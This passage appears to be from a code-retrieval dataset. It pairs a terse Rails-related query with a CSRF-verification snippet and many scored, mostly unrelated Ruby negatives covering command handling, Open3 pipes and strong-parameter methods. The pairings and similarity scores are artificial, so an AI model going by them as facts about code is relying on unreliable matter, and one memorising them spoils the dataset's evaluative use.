#{cmd.inspect}\"\n end\n end", "title": "" }, { "docid": "d5be95a48fe9611d371249dfd176dce5", "score": "0.51802725", "text": "def handle_command(code, activity, line_num, file_read)\n case code\n when 1\n doing_let(activity, line_num, file_read)\n when 2\n doing_print(activity, line_num, file_read)\n when 3\n doing_evaluate(activity, line_num, file_read)\n when -4..-1\n exit code.abs if file_read\n end\n end", "title": "" }, { "docid": "e95171d79f6df701c6e6ec514a7e9fc8", "score": "0.51783586", "text": "def process cmd, owner\n debug { \"got: #{cmd} from: #{owner}\" }\n filters = {}\n clear_questions\n\n case cmd\n when /^#{HELP_CMD}\\s*$/i\n cmd_info\n\n when /^(?:|#{REGISTER_CMD})(?:|\\:\\s+)\\s*([^\\?]+\\?)\\s*$/i\n question = $1\n register_question(question, owner)\n # should attempt to answer the question, if we know it already, else say: \"I know nothing about #{question}\"\n\n when /^(?:|#{ANSWER_CMD})(?:|\\:\\s+)\\s*([\\d]+)\\s+(.+\\.)\\s*$/i\n filters[:id] = $1; answer = $2\n answer_question answer, owner, filters\n\n when /^(?:|#{SHOW_CMD})(?:|\\:\\s+)\\s*([\\d]+|(?:#{Q_TYPES.join(\"|\")})+(?:|\\s+([\\w]+)))(?:|\\s+(#{ANSWERS_TOO}))\\s*$/i\n first_val = $1; second_val = $2; third_val = $3\n debug { \"fv: #{first_val.inspect}; sv: #{second_val.inspect}; tv: #{third_val}\" }\n if (first_val[/^\\d+$/])\n filters[:id] = first_val\n else\n q_status = first_val\n whose = (MINE == second_val) ? owner : second_val\n end\n ans = (third_val || ANSWERS_TOO == second_val) ? true : false\n filters[:answers_too] = ans\n filters[:owner] = sanitize_filename(whose) if authorized.member?(whose)\n filters[:status] = (Q_TYPES - [ALL_QSTATUS]).member?(q_status) ? q_status : \"*\"\n show_questions filters\n\n when /^#{CLOSE_CMD}(?:|\\:)\\s+([\\d]+)/i\n filters[:id] = $1\n close_question filters\n\n else\n [UNKNOWN_CMD]\n\n end\n end", "title": "" }, { "docid": "37a7fdf07f41fb5e3624c1ca1349cd11", "score": "0.5177814", "text": "def processCommand(command)\n # Check if the command is nil\n unless command.nil?\n # Convert command to all uppercase\n command = command.upcase\n # Find out the type of command, PLACE, LEFT, RIGHT, MOVE or REPORT\n commandConst = Command.validate(command)\n # Only process non-PLACE command when robot is placed\n unless commandConst.nil? || (commandConst != Command::P && !@robot.placed)\n case commandConst\n when Command::P\n # Get x and y \n position = command.scan(/\\d+/)\n x = position[0].to_i\n y = position[1].to_i\n face = command.scan(/#{Direction::N}|#{Direction::E}|#{Direction::S}|#{Direction::W}$/)[0]\n @robot.update(x, y, face)\n when Command::L\n @robot.turnLeft\n when Command::R\n @robot.turnRight\n when Command::M\n @robot.move\n when Command::RP \n @view.displayOutput(@robot.x, @robot.y, @robot.face)\n end\n return true\n end\n end\n # Invalid command\n return false\n end", "title": "" }, { "docid": "b9f794fd574604bf5e26ff4b2de9abcb", "score": "0.5173905", "text": "def pipe!(*cmd)\n require 'open3'\n\n Open3.popen3(*cmd) do |si, so, _thread|\n queue = []\n each_range do |range|\n si.write(range.get)\n queue.concat(range.to_a)\n end\n\n si.close\n output = so.read\n\n return if queue.empty?\n\n buffer.undo_record do |record|\n record.delete(*queue)\n record.insert(queue.first, output.chomp)\n end\n end\n end", "title": "" }, { "docid": "2237ec634cd90e1bddec8b5b748670ec", "score": "0.51730865", "text": "def run\n\t\traise RuntimeError, \"Command line not parsed; call parse!().\" unless @command\n\t\t$log.debug(\"#{self.class}.#{__method__}() - Performing #{@command}...\")\n\t\treturn self.send(@command)\n\tend", "title": "" }, { "docid": "bc710d672d9121bccf94a7551eb336ee", "score": "0.5167444", "text": "def execute_and_handle(command, outpipe, errpipe)\n Open3.popen3(command) do |_, stdout, stderr|\n if (outpipe)\n outpipe.call(stdout)\n end\n if (errpipe)\n errpipe.call(stderr)\n end\n end\nend", "title": "" }, { "docid": "ae61b00ca4578e105e956f1626fbe171", "score": "0.51635194", "text": "def scm_run(command)\n run(command) do |ch,stream,text|\n ch[:state] ||= { :channel => ch }\n output = source.handle_data(ch[:state], stream, text)\n ch.send_data(output) if output\n end\n end", "title": "" }, { "docid": "553b5b352f8f34b0468af508bb35c4b2", "score": "0.5155786", "text": "def run\n\t \tbegin \n\t \twrite_command_status(@cmd_queue_0)\n\t \t\n\t \t@log.info \"Processing command queue...\"\n\t \tloop do\n\t \t\tbegin\n\t \t\t\tstr = listen\n\t \t\trescue EOFError\n\t \t\t\t@log.error \"No more messages from pump\"\n\t \t\t\tbreak\n\t \t\tend\n\n\t \t\trep = parse_response(str)\n\n\t \t\t# Look at command response and wait or proceed on queue\n\n\t \t\t# Is it a status message\n\t \t\t# Yes\n\t \t\tif rep[:status]\n\t\t\t\tif process_status(rep)\n\t\t\t\t break\n\t\t\t\tend\n\t \t\t# No\n\t \t\telsif !rep[:status]\n\t \t\t\tprocess_command(rep)\n\t \t\telse\n\t \t\t\t@log.error \"Unknown message type\"\n\t \t\tend\n\t \tend\n\t \t@log.info \"...command queue complete\"\n\n\t \trescue IRB::Abort\n\t \t\t@log.error \"Abort\"\n\t\t\tsleep(0.25)\n\t\t\twrite_stop\n\t\t\t#flush comms?\n\t \trescue Interrupt\n\t \t\t@log.info \"Interupt\"\n\t \t\t#write_stop\n\t \tensure \n\t \t\t@log.info \"Closing\"\n\t\t\t#write_stop\n\t \tend\n\n\t end", "title": "" }, { "docid": "83a5da9629f32d852926ce82f67cffdd", "score": "0.51417154", "text": "def handle(args, stdin, stdout)\n end", "title": "" }, { "docid": "53076842c93cffc0a186900140c3ef33", "score": "0.5135175", "text": "def process(raw_input)\n clean_input, verbosity = sanitize_input raw_input\n\n if clean_input.length > 0\n command = find_command(clean_input) || @modes.current_mode.dynamic_command(clean_input) || @modes.global_mode.command_not_found\n user_args = extract_user_args command, clean_input\n command_ctx = build_context(command, user_args, verbosity)\n args = resolve_args(command, command_ctx)\n\n command.method.call(*args)\n end\n end", "title": "" }, { "docid": "214b7e692869de50041baf0293168dbe", "score": "0.51333326", "text": "def visit_CommandNode(node)\n debug_visit(node)\n @aliases_expanded ||= []\n @command_node_args_stack ||= []\n with_standard_streams do |stdin, stdout, stderr|\n args = process_ArgumentNodes(node.args)\n if !node.literal? && !@aliases_expanded.include?(node.command) && Aliases.instance.has_key?(node.command)\n _alias=Aliases.instance.fetch_alias(node.command)\n @suppress_events = true\n @command_node_args_stack << args\n ast = Parser.parse(_alias)\n @aliases_expanded.push(node.command)\n ast.accept(self)\n @aliases_expanded.pop\n @suppress_events = false\n else\n cmd2execute = variable_expand(node.command)\n final_args = (args + @command_node_args_stack).flatten.map(&:shellescape)\n expanded_args = final_args\n command = CommandFactory.build_command_for(\n world: world,\n command: cmd2execute,\n args: expanded_args,\n heredoc: (node.heredoc && node.heredoc.value),\n internally_evaluate: node.internally_evaluate?,\n line: @input)\n @stdin, @stdout, @stderr = stream_redirections_for(node)\n set_last_result @blk.call command, @stdin, @stdout, @stderr, pipeline_stack.empty?\n @command_node_args_stack.clear\n end\n end\n end", "title": "" }, { "docid": "4e4e872d36b5702eead75afd9878e7d9", "score": "0.51272017", "text": "def start\n if @command\n result = @exec_service.exec(@command, in: :controller) do |controller|\n begin\n yield controller.in if controller.pid\n rescue ::Errno::EPIPE => e\n raise e unless @rescue_broken_pipes\n end\n end\n return result.exit_code unless result.failed?\n end\n yield @fallback_io\n 0\n end", "title": "" }, { "docid": "e8f660851a79b4606161c675feae1acb", "score": "0.5126967", "text": "def run\n\t\tif parsed_options? && arguments_valid?\n\t\t\toutput_options if @options[:verbose]\n\t\t\toutput_arguments if @options[:verbose]\n\t\t\tprocess_arguments\n\t\t\tprocess_command\n\t\telse\n\t\t\toutput_usage\n\t\tend\n\tend", "title": "" }, { "docid": "6b4b6369c8b6a50c607de8abdc45f589", "score": "0.5126683", "text": "def start(&block)\n while line = next_line\n cmd, *args = parse(line)\n cmd && !cmd.empty? ?\n # If the command is not empty - invoke the handler\n block.call(cmd, args) :\n # Empty command ends the processing loop\n break\n end\n end", "title": "" }, { "docid": "d37cb6a0e3c1d41c8b4b2ee23f2c8679", "score": "0.5123607", "text": "def start\n flags = ::Win32::Pipe::ACCESS_DUPLEX | ::Win32::Pipe::OVERLAPPED\n pipe = PipeServer.new(@pipe_name, 0, flags)\n res = true\n begin\n options = {:target => self,\n :request_handler => :request_handler,\n :request_query => :request_query,\n :pipe => pipe}\n @pipe_eventable = EM.watch(pipe, PipeServerHandler, options)\n @pipe_eventable.notify_readable = true\n rescue Exception => e\n pipe.close rescue nil\n RightScale::Log.error(\"Failed to start pipe server\", e, :trace)\n res = false\n end\n res\n end", "title": "" }, { "docid": "9056a8b1b8f6c97cbf2bbbab55b46ee1", "score": "0.5117523", "text": "def process_command(cmd)\n cmd.process(self)\n result = cmd.result()\n \n @@log.debug {\"cmd: #{cmd.class.name}, check_id: #{cmd.check.id}\"}\n\n (@check_results[result.check] = [result] unless\n @check_results[result.check]) or\n @check_results[result.check] << result\n\n process_check_finished_command(cmd) if cmd.class == CheckFinishedCommand\n end", "title": "" } ]
4586b9813af040c7a8698c7a94140372
In Rails 4.1 and below
[ { "docid": "cccb878ff807ddb5583ef5bc57ecf2c2", "score": "0.0", "text": "def verified_request?\r\n super || form_authenticity_token == request.headers['X-XSRF-TOKEN']\r\n end", "title": "" } ]
[ { "docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1", "score": "0.6455864", "text": "def private; end", "title": "" }, { "docid": "19d9764a2c7f930b2a464848744cafcd", "score": "0.56453305", "text": "def model_class; end", "title": "" }, { "docid": "ab0ec4288a3d3f5deef5148441b7aab1", "score": "0.5621476", "text": "def rails_3\n defined?(ActiveRecord::VERSION) && ActiveRecord::VERSION::MAJOR >= 3\nend", "title": "" }, { "docid": "7616f2f5edad88cb61e826206051bdcb", "score": "0.56213796", "text": "def version_helper; end", "title": "" }, { "docid": "7616f2f5edad88cb61e826206051bdcb", "score": "0.56213796", "text": "def version_helper; end", "title": "" }, { "docid": "7616f2f5edad88cb61e826206051bdcb", "score": "0.56213796", "text": "def version_helper; end", "title": "" }, { "docid": "7616f2f5edad88cb61e826206051bdcb", "score": "0.56213796", "text": "def version_helper; end", "title": "" }, { "docid": "f8a6070302102a6ba52191528c45c952", "score": "0.56023943", "text": "def active_record_at_least_4?\n defined?(::ActiveRecord) && ::ActiveRecord::VERSION::MAJOR >= 4\nend", "title": "" }, { "docid": "f3b6ada3fc9b5f73b032845610fc39e6", "score": "0.5495696", "text": "def ordered_railties; end", "title": "" }, { "docid": "f3b6ada3fc9b5f73b032845610fc39e6", "score": "0.5495696", "text": "def ordered_railties; end", "title": "" }, { "docid": "2cc9969eb7789e4fe75844b6f57cb6b4", "score": "0.54598", "text": "def refutal()\n end", "title": "" }, { "docid": "a3e7d8341eba0b20d55bbfdcd0684953", "score": "0.5438841", "text": "def on_pre_request( request )\n end", "title": "" }, { "docid": "a7c3d6e3aaddd5208720d9689d58528b", "score": "0.54271686", "text": "def before_filter; end", "title": "" }, { "docid": "c24bbd44ea26bf1dda4224f208105458", "score": "0.5405014", "text": "def after_view_setup\n end", "title": "" }, { "docid": "06b6203baf3c9311f502228839c5ab4e", "score": "0.5396974", "text": "def intensifier; end", "title": "" }, { "docid": "444bed95337127100f046e3a253bd296", "score": "0.5391085", "text": "def appraisals; end", "title": "" }, { "docid": "444bed95337127100f046e3a253bd296", "score": "0.5391085", "text": "def appraisals; end", "title": "" }, { "docid": "2cefb691d2d0fd565b59ea63edc266cd", "score": "0.53582823", "text": "def view_flow; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5344713", "text": "def before_setup; end", "title": "" }, { "docid": "61711ca4e777a7a5bdb60ee3c7b7a3c5", "score": "0.53431237", "text": "def safe_by_default; end", "title": "" }, { "docid": "9ae9cbe10cd89b9fa93e2d164d3d5e8c", "score": "0.5325271", "text": "def model_name; end", "title": "" }, { "docid": "9ae9cbe10cd89b9fa93e2d164d3d5e8c", "score": "0.5325271", "text": "def model_name; end", "title": "" }, { "docid": "991b6f12a63ef51664b84eb729f67eed", "score": "0.5315343", "text": "def formation; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.53126746", "text": "def extra; end", "title": "" }, { "docid": "1f67ef3705601df94a57b24a0b635a54", "score": "0.5291098", "text": "def on_pre_request( request ); end", "title": "" }, { "docid": "78e9f75bc91fb0f005e72d6d88da7618", "score": "0.5282357", "text": "def on_before_load\n end", "title": "" }, { "docid": "1f73d6443dd6c0e29bd826c85935431f", "score": "0.5275298", "text": "def required_class; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "afc4151049de4a403982da492f69b399", "score": "0.52713245", "text": "def model; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.52707964", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.52707964", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.52707964", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.52707964", "text": "def specie; end", "title": "" }, { "docid": "f447cf23f5a32da61a3a69ed782522c2", "score": "0.5266262", "text": "def base_class; end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.5265972", "text": "def initialize\n super\n end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.5265972", "text": "def initialize\n super\n end", "title": "" }, { "docid": "649182d51b1ab2ad45379a6b8b686a3f", "score": "0.5265972", "text": "def initialize\n super\n end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.5261217", "text": "def isolated; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.5261217", "text": "def isolated; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.52598464", "text": "def context; end", "title": "" }, { "docid": "ecded16a32b0a359761d2f6ea47ccdcb", "score": "0.52590054", "text": "def initialize\n super()\n end", "title": "" }, { "docid": "0b8b7b9666e4ed32bfd448198778e4e9", "score": "0.5258573", "text": "def probers; end", "title": "" }, { "docid": "bf55bc7eaf18d56cb23fc1d7b4ba7bed", "score": "0.5258132", "text": "def public; end", "title": "" }, { "docid": "bf55bc7eaf18d56cb23fc1d7b4ba7bed", "score": "0.5258132", "text": "def public; end", "title": "" }, { "docid": "31d9381f6ae4b86fd601bd5ce3e4afa8", "score": "0.525713", "text": "def orm_patches_applied; end", "title": "" }, { "docid": "a85f4566db66ab5819354328c57adc5e", "score": "0.52554584", "text": "def vendor; end", "title": "" }, { "docid": "65ffca17e416f77c52ce148aeafbd826", "score": "0.52509594", "text": "def schubert; end", "title": "" }, { "docid": "8d19c5a7ff773bf998fad8e175eb5b88", "score": "0.525039", "text": "def active; end", "title": "" }, { "docid": "8d19c5a7ff773bf998fad8e175eb5b88", "score": "0.525039", "text": "def active; end", "title": "" }, { "docid": "a02f7382c73eef08b14f38d122f7bdb9", "score": "0.5246899", "text": "def custom; end", "title": "" }, { "docid": "a02f7382c73eef08b14f38d122f7bdb9", "score": "0.5246899", "text": "def custom; end", "title": "" }, { "docid": "6a94cea476c5cd4ed2b676704b0b1a83", "score": "0.52374613", "text": "def supported_by_rails?\n ::Rails::VERSION::MAJOR.to_i < 4\n end", "title": "" }, { "docid": "8a77c1770835602bded28e5b727a44de", "score": "0.5235522", "text": "def provider; end", "title": "" }, { "docid": "fba9e8e0ef903e1ae3a5b9386a08c70a", "score": "0.52354896", "text": "def resolver; end", "title": "" }, { "docid": "9cffb775aa02c1d8265e0ca380519549", "score": "0.5230533", "text": "def before_run; end", "title": "" }, { "docid": "6d0804fdc0e23807795b67167b654182", "score": "0.52241355", "text": "def before_bootstrap; end", "title": "" }, { "docid": "7175219ce583e8d21b359f75e3328ea4", "score": "0.5218723", "text": "def v4_0_3\n return @v4_0_3\n end", "title": "" }, { "docid": "62158baafece84b452b305badc5dd98c", "score": "0.52108526", "text": "def helpers; end", "title": "" }, { "docid": "62158baafece84b452b305badc5dd98c", "score": "0.52108526", "text": "def helpers; end", "title": "" }, { "docid": "62158baafece84b452b305badc5dd98c", "score": "0.52108526", "text": "def helpers; end", "title": "" }, { "docid": "5253e68dbe73de600809a2b0cf3d9db0", "score": "0.52043456", "text": "def required_defaults; end", "title": "" }, { "docid": "2624dca13ba01e1a7eb3b41c13cd4150", "score": "0.5196397", "text": "def name_safe?; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.51958627", "text": "def version; end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "fb13c70ed76a32fa791d9112731ca152", "score": "0.0", "text": "def receiving_report_params\n params.require(:receiving_report).permit(:report_id_id, :user_id_id, :read)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7495027", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.69566035", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69225836", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68929327", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67848456", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.674347", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6682223", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6636527", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66291976", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.66258276", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65625846", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6491194", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.64526874", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64001405", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63810205", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.63634825", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.633783", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6336759", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6325718", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.631947", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63146484", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63137317", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6306224", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6301168", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63000035", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.629581", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926817", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6280713", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6271388", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6266194", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.6256044", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62550515", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.62525266", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6234781", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62278074", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6226693", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.6226605", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6226114", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200643", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61913997", "text": "def alpha_provider_params\n 